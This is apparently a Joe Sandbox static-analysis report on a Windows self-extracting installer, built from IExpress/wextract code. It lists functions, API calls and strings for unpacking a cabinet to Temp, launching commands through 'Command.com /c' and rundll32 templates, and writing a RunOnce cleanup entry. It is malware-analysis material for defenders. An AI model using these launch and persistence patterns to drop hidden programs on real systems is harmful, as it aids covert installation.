LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00808C42), ref: 00803FC2

Strings

advpack.dll, xrefs: 00803F9D
POSTRUNPROGRAM, xrefs: 00803D60
REBOOT, xrefs: 00803BE2
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00803E74
DoInfInstall, xrefs: 00803E1F, 00803E24, 00803F68
SHOWWINDOW, xrefs: 00803C34
RUNPROGRAM, xrefs: 00803D05
no230, xrefs: 00803E68
USRQCMD, xrefs: 00803CAD
D, xrefs: 00803C19
<None>, xrefs: 00803CC9, 00803D7D
ADMQCMD, xrefs: 00803C9E

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$no230
API String ID: 1032054927-461443730
Opcode ID: 836269e773c0dda97ddfda7ad4319d15d2a4d0f88dcf963740a3af5dcd006250
Instruction ID: 30d132aeec3b9431ea478bf3f4142e843dbf1b63af18032cfe94790ab9f38538
Opcode Fuzzy Hash: 836269e773c0dda97ddfda7ad4319d15d2a4d0f88dcf963740a3af5dcd006250
Instruction Fuzzy Hash: 57B1C071A08301DBE7E4DF288C45B6B76E8FB85714F10092DFA95D61E1EB74CA44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00801AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00801BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00801BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00801C57
GetPrivateProfileIntA.KERNEL32 ref: 00801C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00801140,00000000,00000008,?), ref: 00801CB8
GetShortPathNameA.KERNEL32 ref: 00801D1B

Part of subcall function 008044B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
Part of subcall function 008044B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554

Strings

.BAT, xrefs: 00801D83
Command.com /c %s, xrefs: 00801D9B, 00801DE8
setupapi.dll, xrefs: 00801D23, 00801D3A
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00801BA0
.INF, xrefs: 00801BDB
", xrefs: 00801B25
AdvancedINF, xrefs: 00801CAE
DefaultInstall, xrefs: 00801C74, 00801C87, 00801CCE, 00801CD3, 00801D2D, 00801D39
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00801D3B
setupx.dll, xrefs: 00801D14
Reboot, xrefs: 00801C82
Version, xrefs: 00801CB3

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-2280873615
Opcode ID: 8c2bf2c676f11fc48f2940b2aa5749213017712d958f0f52fa870dd96f571c59
Instruction ID: e0164fcb1d8c6138af55fd7ac481fd926aabef8f4d4a4742eb54d3e95f4bf717
Opcode Fuzzy Hash: 8c2bf2c676f11fc48f2940b2aa5749213017712d958f0f52fa870dd96f571c59
Instruction Fuzzy Hash: EBA14770A002189BEFE49B28CC4CBEA7769FF55330F104294F995E32D1DBB48E898B51

Uniqueness

Uniqueness Score: -1.00%

Function 0080597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 008059A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 008059AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00805A13
MulDiv.KERNEL32(?,?,00000400), ref: 00805A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00805A64
memset.MSVCRT ref: 00805A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00805A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00805AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00805BFC

Part of subcall function 008044B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
Part of subcall function 008044B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554

Part of subcall function 00806285: GetLastError.KERNEL32(00805BBC), ref: 00806285

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: f5e4153e7a6fac30708399cd9ccb905eb5997be7cd8e4230121544df95511082
Instruction ID: b0331c7caad943333d65bd3071c63b33ad53f6355f91e50916b25dee00df7abe
Opcode Fuzzy Hash: f5e4153e7a6fac30708399cd9ccb905eb5997be7cd8e4230121544df95511082
Instruction Fuzzy Hash: 5A719EB1A0061CAFEBA59B64CC95BFB77ACFB48314F0440A9F546D2181EA349E848F71

Uniqueness

Uniqueness Score: -1.00%

Function 00804FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046A0
Part of subcall function 0080468F: SizeofResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046A9
Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046C3
Part of subcall function 0080468F: LoadResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046CC
Part of subcall function 0080468F: LockResource.KERNEL32(00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046D3
Part of subcall function 0080468F: memcpy_s.MSVCRT ref: 008046E5
Part of subcall function 0080468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008046EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00804FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00805006
LockResource.KERNEL32(00000000), ref: 0080500D
GetDlgItem.USER32(00000000,00000842), ref: 00805030
ShowWindow.USER32(00000000), ref: 00805037
GetDlgItem.USER32(00000841,00000005), ref: 0080504A
ShowWindow.USER32(00000000), ref: 00805051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00805111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00805159

Strings

CABINET, xrefs: 00804FE6, 00804FF7
*MEMCAB, xrefs: 008050C7

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 76a3c9362d4eb34974632845e5dbfe2ec56f4a48c71ce22542d1bc74fa90f59d
Instruction ID: 5993821d32b6e8251c6e2ec4eada1781d167b04afbfb565ceefaae9852fd7c66
Opcode Fuzzy Hash: 76a3c9362d4eb34974632845e5dbfe2ec56f4a48c71ce22542d1bc74fa90f59d
Instruction Fuzzy Hash: 2E31F8F1780706FBE7E05B65AC8AF27365CFB08755F041024FB52E22E2DABD8C408A65

Uniqueness

Uniqueness Score: -1.00%

Function 00802F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00802F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00802FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00802FC6
DecryptFileA.ADVAPI32 ref: 00802FE6
FreeLibrary.KERNEL32(00000000), ref: 00802FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 0080301C

Part of subcall function 008051E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00802F4D,?,00000002,00000000), ref: 00805201

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00802FDB, 00803017
DecryptFileA, xrefs: 00802FC0
advapi32.dll, xrefs: 00802F99

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-1173327654
Opcode ID: 6df8f3da054f68cd61414b1b7757ba14d5ccacaa012e93317e366c10d84fb98b
Instruction ID: 0bf8621bc1345c07b734f872c23167158bbd725ac164bacdddac70eda335fe0f
Opcode Fuzzy Hash: 6df8f3da054f68cd61414b1b7757ba14d5ccacaa012e93317e366c10d84fb98b
Instruction Fuzzy Hash: 6441B671B01A15DBDBF4AB799C49A5A73ACFB54750F000166F981C25E1EF74CEC0CA62

Uniqueness

Uniqueness Score: -1.00%

Function 00805467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 008054C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0080553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0080556F

Part of subcall function 008053A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 008053FB
Part of subcall function 008053A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00805402
Part of subcall function 008053A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0080541F
Part of subcall function 008053A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0080542B
Part of subcall function 008053A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00805434

Strings

i386, xrefs: 008054FE
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 0080547D, 00805481, 008054AB, 0080551C, 0080553C, 00805568
ppc, xrefs: 008054E9
mips, xrefs: 008054F7
alpha, xrefs: 008054F0

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3374052426
Opcode ID: c2104f7339c72b38c9fdc9f5ae13a0487f3444bd85f6867546ba54832fdb39e4
Instruction ID: d16a8654b6d8c6dfbb2379867e3b3aab4978160fad69267ff90103ebb8c96109
Opcode Fuzzy Hash: c2104f7339c72b38c9fdc9f5ae13a0487f3444bd85f6867546ba54832fdb39e4
Instruction Fuzzy Hash: 60310571B00E189BCFD49B2D9C4897F77AAFF81314B04012AE452D26D1EB748E418FA6

Uniqueness

Uniqueness Score: -1.00%

Function 00802390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,00808A3A,008011F4,00808A3A,00000000,?,?), ref: 008023F6
lstrcmpA.KERNEL32(?,008011F8), ref: 00802427
lstrcmpA.KERNEL32(?,008011FC), ref: 0080243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00802495
DeleteFileA.KERNEL32(?), ref: 008024A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 008024AF
FindClose.KERNELBASE(00000000), ref: 008024BE
RemoveDirectoryA.KERNELBASE(00808A3A), ref: 008024C5

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 807270f2c515808da5a07cf234b98e1a9ad19327e983f7d7157a804b2805915b
Instruction ID: 73508ea8b8dfd5b6b95c5371058549e49d3a7656315c4c803eb1e6e400416e4a
Opcode Fuzzy Hash: 807270f2c515808da5a07cf234b98e1a9ad19327e983f7d7157a804b2805915b
Instruction Fuzzy Hash: A831AF32604B449BD7A4EB68CC8DAEB73ACFFC4315F04492DB595C22D0EB7499098756

Uniqueness

Uniqueness Score: -1.00%

Function 00803FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 00804033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00804049
GetExitCodeProcess.KERNELBASE ref: 0080405C
CloseHandle.KERNEL32(?), ref: 0080409C
CloseHandle.KERNEL32(?), ref: 008040A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 008040DC
FormatMessageA.KERNELBASE(00001000,00000000,00000000), ref: 008040E9

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: fe982f8be4433cebe5f4a2633f333b42f524bb49a82d33b191cc8d5496ddc729
Instruction ID: a41a1f5d9f7be214fe4f09b4995078ab3d2cdf4800b8d722f6dc61ea44e0e796
Opcode Fuzzy Hash: fe982f8be4433cebe5f4a2633f333b42f524bb49a82d33b191cc8d5496ddc729
Instruction Fuzzy Hash: AA31D1B1681718ABEBE09F69DC49FAB777CFB94710F1041A9F645E21A1CA304C85CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00802BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00806BB0,00800000,00000000,00000002,0000000A), ref: 00802C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00806BB0,00800000,00000000,00000002,0000000A), ref: 00802C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00802C28
CloseHandle.KERNEL32(00000000,?,?,00806BB0,00800000,00000000,00000002,0000000A), ref: 00802C98

Strings

Kernel32.dll, xrefs: 00802C13
HeapSetInformation, xrefs: 00802C22

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 658ec3f935fa15911c50611a714bb2ba8e43280a3fef6f84383911366fafffda
Instruction ID: 72982550d66d23024d368fee6c8bd1226bfd7d9ede38d451dd8a098e2c79a357
Opcode Fuzzy Hash: 658ec3f935fa15911c50611a714bb2ba8e43280a3fef6f84383911366fafffda
Instruction Fuzzy Hash: F911C6313003159BE7E46B78AC8DA6F3759FF44390B040025F941D32D1DAB4DC418661

Uniqueness

Uniqueness Score: -1.00%

Function 00806F40 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00806F45

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 682f9c577ee73d22a4026047bdc74c610e021aadfef97c2e4e6d3525a2ed2be7
Instruction ID: 712714cdd70722527383fe2c92e34ba6c5843226aad63c9aca30f91c8bd86fdd
Opcode Fuzzy Hash: 682f9c577ee73d22a4026047bdc74c610e021aadfef97c2e4e6d3525a2ed2be7
Instruction Fuzzy Hash: 6E90027435134047D7A41B70DD1941975A1BB4D602B915460A022C45D5EB6440605552

Uniqueness

Uniqueness Score: -1.00%

Function 0080202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00802050
memset.MSVCRT ref: 0080205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0080208C

Part of subcall function 0080171E: _vsnprintf.MSVCRT ref: 00801750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 008020C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 008020EA
GetSystemDirectoryA.KERNEL32 ref: 00802103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00802122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00802134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00802144
GetSystemDirectoryA.KERNEL32 ref: 0080215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0080218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 008021C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 008021E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 0080223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00802249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00802250

Strings

advpack.dll, xrefs: 00802109
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008021A8, 00802204
%s /D:%s, xrefs: 008021FF, 00802210
wextract_cleanup0, xrefs: 008020A5, 008020BE, 008020F0, 00802232
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 008021F6
DelNodeRunDLL32, xrefs: 0080212E
wextract_cleanup%d, xrefs: 0080209E
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00802082

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-3726664654
Opcode ID: 36686e7587dbf8fc7dd4964661f50d260a5bd9f81eb0e7a59b3ec188439d1c92
Instruction ID: 52fd922df42e21ec3e3e26ae53acc3a80c615823f0c9e37ad3cec13c3d101d99
Opcode Fuzzy Hash: 36686e7587dbf8fc7dd4964661f50d260a5bd9f81eb0e7a59b3ec188439d1c92
Instruction Fuzzy Hash: 86512571A00618EBEBA49B64DC4DFEA773CFF54700F0041A4FA59E61D1EAB49D89CA60

Uniqueness

Uniqueness Score: -1.00%

Function 008055A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046A0
Part of subcall function 0080468F: SizeofResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046A9
Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046C3
Part of subcall function 0080468F: LoadResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046CC
Part of subcall function 0080468F: LockResource.KERNEL32(00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046D3
Part of subcall function 0080468F: memcpy_s.MSVCRT ref: 008046E5
Part of subcall function 0080468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008046EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 008055CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00805638
LocalFree.KERNEL32(00000000), ref: 0080564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00805620

Part of subcall function 008044B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
Part of subcall function 008044B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554

Part of subcall function 00806285: GetLastError.KERNEL32(00805BBC), ref: 00806285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 008056B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 0080571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00805737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 008057CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 008057EF
